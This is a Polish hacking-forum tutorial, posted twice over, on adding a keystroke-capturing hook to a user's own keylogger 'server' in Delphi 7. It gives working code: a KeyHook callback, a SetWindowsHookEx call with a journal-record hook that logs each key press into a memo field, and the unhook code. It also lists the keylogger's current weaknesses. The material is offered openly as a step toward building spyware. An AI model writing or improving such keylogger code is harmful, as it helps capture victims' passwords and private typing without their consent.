Reptile ReX
Użytkownik
- Dołączył
- Maj 15, 2007
- Posty
- 248
[center:91eea47053]
No, w końcu zabrałem się za napisanie jakiegoś Tutorialka
no myślę że wielu z was chcę dowiedzieć się jak założyć tego Hooka.
Co Będziemy Potrzebować
-Gotowy swój Serwer Keyloggera
-Delphi 7
Do Roboty:
Otwieramy w Delphi Kod źródłowy swojego serwera domyślnie Project1.dpr
Teraz Klikamy File>>New>>Form
Jak zauważymy pojawiła nam się 2 forma, możemy zmienić jej name,
Ok, teraz w Unit2 (Kod do Formy 2) w głównym var dodajemy
MainHook : HHOOK; następnie pod tym dodajemy:
function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;
Powinno to wyglądać tak:
Teraz niżej Widzimy
Pod tym Kopiujemy Poniższy Kod:
Powinno to Wyglądać tak:
Teraz Klikamy jeden raz LPM na Formę2 i w Object Inspektorze Wybieramy zdarzenie OnCreate klikając na niego 2 Razy
Wklepujemy w procedurkę OnCreate poniżysz kod:
Powinno to wyglądać tak:
Teraz Wybieramy OnDestroy i wklepujemy do procedurki poniższy kodzik:
Powinno to wyglądać tak:
Zapisujemy do Katalogu z plikami do Projectu1 i Kompilujemy
Program Zapyta się czy Dodać Form2 do Form1 oczywiście Zgadzasz się
I Po Sprawie !! mamy już Hooka na Klawiaturkę :]
W tym Hooku jest parę luk:
-Nie łapie Cyfr
-Wszystko dużymi literami czyli jak na przykład napiszesz Jola to wyjdzie JOLA
-Przestaje Działać po Uruchomieniu Managera Windows (CTRL+ALT+DELATE)
-Nie Łapie Polskich znaków
[center:91eea47053]
[/center:91eea47053]***TUTORIAL OPRACOWANY PRZEZ REPTILE REX DLA UŻYTKOWNIKÓW FORUM HAKER.COM.PL***[/b]
No, w końcu zabrałem się za napisanie jakiegoś Tutorialka
Co Będziemy Potrzebować
-Gotowy swój Serwer Keyloggera
-Delphi 7
Do Roboty:
Otwieramy w Delphi Kod źródłowy swojego serwera domyślnie Project1.dpr
Teraz Klikamy File>>New>>Form
Jak zauważymy pojawiła nam się 2 forma, możemy zmienić jej name,
Ok, teraz w Unit2 (Kod do Formy 2) w głównym var dodajemy
MainHook : HHOOK; następnie pod tym dodajemy:
function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;
Powinno to wyglądać tak:
Kod:
var
Form3: TForm3;
MainHook : HHOOK;
function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;
Teraz niżej Widzimy
Kod:
implementation
{$R *.dfm}
Pod tym Kopiujemy Poniższy Kod:
Kod:
function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;
var
Buffer: TEventMsg;
begin
result := 0;
Buffer := PEventMsg(lParam)^;
if Buffer.message = wm_KeyDown then
Form1.Memo1.Text := Form1.Memo1.Text + chr(Buffer.paraml); //Tutaj Wybieramy Gdzie mają sie zapisywać wciskane klawisze, domyslnie jest to Form1.Memo1 jezeli masz inną nazwe formy domyslnej lub inną nazwę memo musisz to zmienić
end;
Powinno to Wyglądać tak:
Kod:
implementation
{$R *.dfm}
function KeyHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): Longint; stdcall;
var
Buffer: TEventMsg;
begin
result := 0;
Buffer := PEventMsg(lParam)^;
if Buffer.message = wm_KeyDown then
Form1.Memo1.Text := Form1.Memo1.Text + chr(Buffer.paraml); //Tutaj Wybieramy Gdzie mają sie zapisywać wciskane klawisze, domyslnie jest to Form1.Memo1 jezeli masz inną nazwe formy domyslnej lub inną nazwę memo musisz to zmienić
end;
Teraz Klikamy jeden raz LPM na Formę2 i w Object Inspektorze Wybieramy zdarzenie OnCreate klikając na niego 2 Razy
Wklepujemy w procedurkę OnCreate poniżysz kod:
Kod:
MainHook := SetWindowsHookEx(wh_JournalRecord, KeyHook, HInstance, 0);
Powinno to wyglądać tak:
Kod:
procedure TForm2.FormCreate(Sender: TObject);
begin
MainHook := SetWindowsHookEx(wh_JournalRecord, KeyHook, HInstance, 0);
end;
Teraz Wybieramy OnDestroy i wklepujemy do procedurki poniższy kodzik:
Kod:
UnhookWindowsHookEx(MainHook);
Powinno to wyglądać tak:
Kod:
procedure TForm2.FormDestroy(Sender: TObject);
begin
UnhookWindowsHookEx(MainHook);
end;
Zapisujemy do Katalogu z plikami do Projectu1 i Kompilujemy
Program Zapyta się czy Dodać Form2 do Form1 oczywiście Zgadzasz się
I Po Sprawie !! mamy już Hooka na Klawiaturkę :]
W tym Hooku jest parę luk:
-Nie łapie Cyfr
-Wszystko dużymi literami czyli jak na przykład napiszesz Jola to wyjdzie JOLA
-Przestaje Działać po Uruchomieniu Managera Windows (CTRL+ALT+DELATE)
-Nie Łapie Polskich znaków
[center:91eea47053]
[/center:91eea47053]***TUTORIAL OPRACOWANY PRZEZ REPTILE REX DLA UŻYTKOWNIKÓW FORUM HAKER.COM.PL***[/b]